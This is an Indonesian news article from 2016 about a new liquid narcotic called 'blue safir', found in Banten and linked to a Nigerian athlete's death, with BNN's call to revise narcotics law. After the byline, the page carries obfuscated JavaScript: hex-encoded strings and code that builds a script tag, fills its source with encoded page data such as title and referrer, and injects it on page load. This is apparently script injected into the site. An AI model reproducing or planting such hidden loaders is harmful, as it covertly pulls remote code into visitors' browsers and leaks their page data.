SERANG – Badan Narkotika Nasional (BNN) Banten menemukan narkotika jenis baru yang beredar di Banten. Menurut Kepala BNN Banten Kombes Heru Pebruanto. Jenis narkotika tersebut adalah blue safir dan berbentuk cairan.

a�?Nama narkotika jenis baru ini adalah blue safir, merupakan narkotika jenis cairan yang bisa menewaskan orang jiwa mengkonsumsinya,a�? ujarnya, Selasa 26/4/2016).

Temuan narkotika jenis baru ini, lanjutnya, terungkap di wilayah Tangerang Selatan, dimana warga Negara Nigeria yang merupakan atlet ditemukan tewas usai mengkonsumsi narkotika jens baru tersebut.

Heru melanjutkan, kandungan narkotika jenis baru ini diantaranya adalah amphetamine. Namun, jenis baru ini belum bisa dijerat hukum karena belum diatur dalam Undnag-undnag 35 tentang narkotika.

Heru menambahkan, jenis narkotika jenis baru yang masuk ke Indonesia sebanyak 41 jenis, sedangkan jenis narkotika di dunia sebanyak 513 jenis. Ia berharap, adanya revisi Undang-undang narkotika, sehingga pihaknya bisa memberikan sanksi tegas terhadap penyalahgunaan narkotika jenis baru tersebut.

a�?Dalam wkatu dekat aka nada refisi Undang-undnag Nomor 35, tentang narkotika. Saya berharap, dengan adanya refisi ini akan memberikan paying hukum yang jelas dalam penindakan penyalahgunaan narkotika,a�? harapnya. (Yan/cing) F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}